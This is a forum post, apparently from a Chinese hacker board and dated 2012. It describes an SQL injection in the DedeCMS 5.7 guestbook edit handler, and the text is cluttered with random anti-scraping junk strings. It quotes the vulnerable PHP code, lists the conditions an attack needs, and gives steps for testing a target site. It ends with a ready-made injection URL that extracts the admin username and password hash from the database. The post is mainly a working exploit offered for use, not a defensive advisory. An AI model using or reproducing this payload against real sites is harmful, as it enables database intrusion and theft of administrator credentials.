找回密码
 立即注册
查看: 4447|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
5 B! ]3 m' B$ V: S% y1 B9 `3 \" D3 N% [+ m6 i
漏洞文件edit.inc.php具体代码:8 [7 `0 D  \2 w9 K
) q' `7 w$ v) U% x! T7 h8 ^
< ?php  
, E: M) f6 W6 m3 P3 D8 M% ~$ _( D: {( n/ C% P
if(!defined('DEDEINC')) exit('Request Error!');  % N; X& f5 D  D! F9 r3 \
: r9 w- F& z/ v; N. k1 _2 U
   
+ i# M& M0 a% K# L, Q( a( j7 e4 O( \. B
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  6 T* U0 Q1 c, r' o) Y4 ^# O9 \+ n
* @  ?5 A. w; o+ r* c% G
else $GUEST_BOOK_POS = "guestbook.php";  
3 w3 i) I. O1 B3 U0 h9 ?! y  g: p2 T" x8 E1 t& A
   
6 i" e3 X4 a) L& O# v0 w- w/ a  J6 h. |$ u% M6 x
$id = intval($id);  
. Y6 o0 Y- B7 f. k
6 R* t" \6 {; u! _, oif(empty($job)) $job='view';  
7 U) T& K8 }/ r% H2 m6 X/ W2 e
3 }6 u9 Y9 J( L   & w3 {& Z; j* D2 x% ^- Y. D
+ b6 Z3 ^9 k0 x% h
if($job=='del' && $g_isadmin)  * Y  P1 s3 C" W( Z& o. Q
# `' g; f8 o% p. H# @1 t! k
{  
3 \. ]. r" H9 L9 G  @4 H' U0 w6 R( l' d! w% u9 T# j
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
1 W+ L( Q) F; a, T1 ~4 \+ \8 r
/ i* [" w  p4 W( M, K+ eShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  + [- }: i: Q! E1 Z

; P- V4 }$ q9 k+ I4 `exit();  1 u7 o& R, |( e, p7 O, A! Z

; t9 U$ s# g1 v- e' U1 n0 C( Q- }( y6 ^}  - c0 I( ~$ O7 s' M6 z

' A. a* m5 o3 L9 `/ Selse if($job=='check' && $g_isadmin)  1 w7 O5 k7 D/ `& y& d" b

" O& _  ]& j8 j$ H{  : h- G" G; p% v5 c  }) N
" S# w; j' w9 c: u4 \8 f
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
6 k' r/ n( p: f# T; t* N
; m3 l) [2 D2 sShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  ; H' N! T. D6 u% G7 a

" Y) [( |6 A' Sexit();  
% h5 {) J* Q9 P$ }4 m2 q8 m$ _/ j6 C' t7 f  S; F( I
}  
4 S6 m! s& T3 R6 \" |7 c  I( F1 H& S4 K; l4 \: x# b7 I
else if($job=='editok')  ) G- Q) O5 n9 ]/ q) Y+ r+ }

% U7 b0 O! j+ F' K1 x. j% K, K2 y{  
' w# i0 D$ J, |! g
4 p6 B+ h( b) }2 B; Y$remsg = trim($remsg);  
5 L1 x4 d' Z  v8 u5 |8 R% L+ p* |# }
if($remsg!='')  # w8 h* X3 O) s7 |  v: O0 S
% M* k3 ]+ ]7 J$ G$ T5 E; ^2 d
{  
  Y4 e: D* m& m% i# W! f; X% I/ B) U7 A& _) H8 v; `8 a
//管理员回复不过滤HTML By:Errorera blog:errs.cc  2 y; S4 D3 k! U, B3 r- j9 \
9 Y5 @  t9 K* a- |0 a
if($g_isadmin)  
/ u6 M, m+ G2 }6 L, P$ z
9 X& t& \' Y* e{  0 P, O9 o9 c8 I8 C  s

' u5 l, W* d1 ~4 P$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  1 [+ Y5 x4 Y6 h9 `" w

# r/ E+ f$ i! p1 P$ D* {//$remsg <br /><font color=red>管理员回复:</font> }  / O. D5 u2 D6 \$ i: T" L
) y8 o# s$ b/ V6 s2 @& e
else # a6 n$ y  w$ F; b) K. D
8 ]8 t/ ]$ m8 h4 S% ?
{  ) Y" J* \0 ^( T9 _+ ^

% r' P, V) }7 v9 ]& s1 k3 ]2 c$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
/ I/ e, \0 ?# h8 K2 F7 T* I& _" r5 ?
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  - f' `6 q: \0 q3 ^$ P$ ~  {

* B2 J/ }* U. t4 Z+ n$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
" {7 N+ s3 F0 l+ r) {. E, y0 [! a
  I: e1 Y& g" p8 A% ?# A/ i8 G$msg = $oldmsg.$remsg;  
/ t7 d, |1 x$ X( k3 M* b  @. h2 L" @5 {1 x
}  
& g, o: b4 K! `3 ^' n* ?7 S: B" D2 i2 g8 u0 o8 @
}  ; r: `# |% T% t* D* B( V
+ Y0 k+ y, Q  m
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
) P$ D- @$ h7 n- x7 i! i$ e9 Y& Q0 y- Q& @0 R
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
" @1 p- [1 }9 o; W/ u- [5 Z- ?& w8 w# a! Q+ W! P
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  # C4 |% V5 h* {2 }5 i

3 n; j7 @. K+ N0 W/ Y1 |1 J3 qexit();  + J+ G/ P% T; k
& B4 R! }" R9 c' G, O- n4 }7 n  C
}  8 h: L6 j5 f% p  j$ j' J8 H

1 T# _8 E1 `, A1 y5 j: V, Q//home:www.errs.cc  3 p& d6 ~) I4 @1 i5 i6 o$ J* v
9 [7 V* I+ J$ N: ]! _8 V0 X
if($g_isadmin)  ; G' v' o7 U9 T1 q5 ^

. v/ j  e: ^. R( z' t- P, i{  
! v7 e, g3 g# v) R' L" z% T; @4 B
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  $ F5 U: N  r( K
* ]+ j7 T9 Y/ _# y! Z* T
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  5 _: |3 b) N! k9 G( U' T& Z

2 h' Q/ N/ c2 n  y}  
. e4 b8 s9 m/ ]- K$ ^2 b4 b3 H4 _# Y
else & \! e3 B7 R" `$ o( |' O8 R
* T2 i! Z) V7 Y
{  
) S' D' H: f# n7 `1 }0 N: Q  J) G% ]" s  W" [
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
' n$ @7 w6 O7 E/ B/ t& c. E: z3 G- F$ c
' I3 g2 E, m. T& X: trequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
- v8 }5 D, l- j: Q1 J
# ?; z" x6 m7 a. u+ Q1 |} 漏洞成功需要条件:
( f: A1 i  u0 Q3 y- Q( b7 o1. php magic_quotes_gpc=off
! ?; M; w/ S2 n, _. i5 H7 J8 H2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。1 b+ L: b5 j1 i) W$ A8 M+ e

% l+ w3 v* v/ F4 @$ O$ @怎么判断是否存在漏洞:3 i3 m5 R$ ^; |- ]/ W" w" w
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
* K6 P, O1 @! u& P( X, M然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
4 I8 N2 h2 P" f1 m! }访问:
' I5 l! i8 _; U9 ~2 F& ~- _
3 U# {! F2 v  u1 K4 M+ w: {  H0 jwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了  r3 r1 ]4 M# M4 Y5 ^8 @8 W
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
  E/ |( B7 W3 O: c
/ @* G: z3 u7 p, `" W& ?
( q& }' F2 j1 L7 [明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
, q  Y8 ~4 b' Z+ B& d$ }: i9 O如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
2 y; U6 w  Z2 O! `& v4 P那么再次访问6 Q3 ]' N- P0 Z6 T

. L1 z1 Y+ P* C( m, R  @+ |3 kwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
" I; N4 |* ]. `5 a$ h' ?% u5 I% a
大概利用就是这样,大家有兴趣的多研究下!!4 n4 b! x3 u, s- ?2 f

5 R# t' I1 R. f# m. r最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
% |6 c! w7 l0 G7 ]( X7 F
$ a. P0 b6 l8 a, a1 N. \view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表